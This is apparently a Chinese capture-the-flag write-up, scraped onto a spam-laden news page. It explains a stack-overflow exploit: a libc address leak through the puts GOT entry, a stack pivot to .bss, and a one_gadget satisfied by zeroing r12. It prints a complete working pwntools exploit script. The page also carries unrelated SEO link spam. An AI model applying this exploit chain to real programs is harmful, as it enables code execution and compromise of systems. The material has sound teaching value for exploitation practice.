当前位置: 首页 > news >正文

哪些网站可以做爬虫实验搜狐视频

哪些网站可以做爬虫实验,搜狐视频,企业网站html模板,网站售价这道题我觉得可以记录一下。 主要函数,一样,先考虑怎么泄露libc基址。 但,0x20实在太小,组成不了连续3个ret syscall。 而且文件中也没pop rdi;ret这个gadget,只能另寻他法。 我们注意到: main函数中的这…

这道题我觉得可以记录一下。

主要函数,一样,先考虑怎么泄露libc基址。

但,0x20实在太小,组成不了连续3个ret syscall。

而且文件中也没pop rdi;ret这个gadget,只能另寻他法。

我们注意到:

 

main函数中的这个gadget就很棒,将rbp-0x10处的东西打印出来,后面再执行vuln。

程序没有PIE,所以直接让rbp去got[puts]+0x10就可以了。

以下是这部分exp:

goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))

泄露完基址,它会再执行vuln,我们就要考虑怎么getshell了。

一开始我打算直接用one_gadget,但全试了一遍,都不可以。

read 0x20,意味着即使我们栈迁移也执行写2个gadget,不行,处理rdi然后system起码也要三个。

说实话,我一开始想把栈迁移到got[puts]附近,

然后:

payload=b'/bin/sh\x00'+p64(system)+p64(0)+p64(gadget2)

将puts的got表覆盖成system,然后bsh会赋给rdi,成功getshell。

但是执行后会在system内部崩溃,是在push r15的位置。

一开始我还以为是因为覆盖了got表里面比较重要的数据,后来发现就是不能直接system,要用系统调用,无论如何这个方法是不行的,我们换一个。

当时想着起码控制连续3个gadget,发现可以在bss上这么构造:
 

contentaddress
0x401191(read()+leave,ret)
bss-0x20bss
ret3
ret2
ret1
........bss-0x20
.........
..........

这样就可以实现连续执行3个可以控制的gadget了。

一开始我中规中矩,

p64(rdi)+p64(bsh)+p64(system)

很可惜依然报错,看来就是system不能用。

现在想着这么系统调用,但是系统调用要的连续执行空间可就多了,很难构造。

所以反过来想能不能用比较少的gadget满足one_gadget的执行条件。

 经过反复对比,锁定了这个gadget,看看条件,rbp可以控制在bss上,肯定可写,bss上根本没什么数据,[rbp-0x70]=NULL也是轻而易举,那就剩下r12==NULL这个了,正好我们可以连续写3个gadget,那答案就呼之欲出了:
 

payload=p64(r12)+p64(0)+p64(one_gadget)

以下是完整exp:

from pwn import *
from LibcSearcher import *
from ctypes import *
elf=ELF('./pwn')
#io=remote('emoji.dayi.ink',22857)
io=process('./pwn')
context.arch='amd64'
libc=ELF('./libc.so.6')
#libc=elf.libc
goal=0x404028
gadget=0x401191
gadget2=0x401213#rbp-0x10
gadget3=0x40119A 
#io.interactive()
bss=elf.bss()+0x300
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(goal)+p64(gadget2)
io.send(payload)
puts=u64(io.recv(6).ljust(8,b'\x00'))
print('puts:',hex(puts))
libc_base=puts-libc.sym['puts']
print('libc_base:',hex(libc_base))
system=libc_base+libc.sym['system']
bsh=libc_base+next(libc.search(b'/bin/sh\x00'))
io.recvuntil(b"Input your context:\n")
payload=b'a'*0x10+p64(bss)+p64(gadget)
io.send(payload)
rdi=libc_base+0x2a3e5
rdx2=libc_base+0x11f2e7
leave=0x4011AD#gadget
ret=0x40122F
r12=libc_base+0x35731
rax=libc_base+0x45eb0
one_gadget=libc_base+0xebd38
payload=p64(0)+p64(one_gadget)+p64(bss-0x20)+p64(gadget)
io.send(payload)
payload=p64(ret)+p64(system)+p64(bss-0x20)+p64(r12)
io.send(payload)
io.interactive()

要注意的是发送一定要用send,不能sendline,不然会崩溃报错,读不进去数据,我也不知道为什么,很神奇,以前貌似遇到过。 

http://www.tj-hxxt.cn/news/118513.html

相关文章:

  • 做一晚水泥工歌曲网站seo排名技巧
  • 网站公安备案号怎么使用关键词搜索量怎么查
  • 中国建设银行网站个人客户官网长沙网站快速排名提升
  • 造纸公司网站建设服务推广软文
  • 网站时间特效百度文库网页版
  • 一般的网站建设百度相册登录入口
  • 好的用户体验网站北京优化推广公司
  • 织梦做视频网站可以吗电商网站seo怎么做
  • 我图网类网站建设app下载
  • h5响应式网站做动画百度人工客服电话多少
  • wordpress站点登陆杭州做搜索引擎网站的公司
  • 用html做的网站步骤优化seo招聘
  • psdw做网站网站开发的流程
  • kotlin做网站太原百度seo排名
  • 大兴做网站的公司企业网络营销策划书
  • 网络营销型企业网站案例大学生网页设计作业
  • 住房和城乡建设部网站施工员搭建一个网站需要什么
  • 做套网站多少钱长尾词挖掘
  • 做外贸球衣用什么网站seo方案
  • 正规的徐州网站建设软文平台
  • 苏州市建设工程交易中心网站网络优化工程师吃香吗
  • 个人网站设计结构图中文域名查询官网
  • 网站流量分析网站石家庄网站建设方案推广
  • 交做网站视频百度云b2b外贸接单平台
  • 咖啡网站设计建设百度收录检测
  • 建站系统社区营销软文500字范文
  • 手机网站cms推广app的软文案例
  • 做营销的一般逛哪些网站无锡百度信息流
  • 网站如何做h5动态页面seo培训课程
  • 电子商务网站建设评估工具有哪些网络广告的形式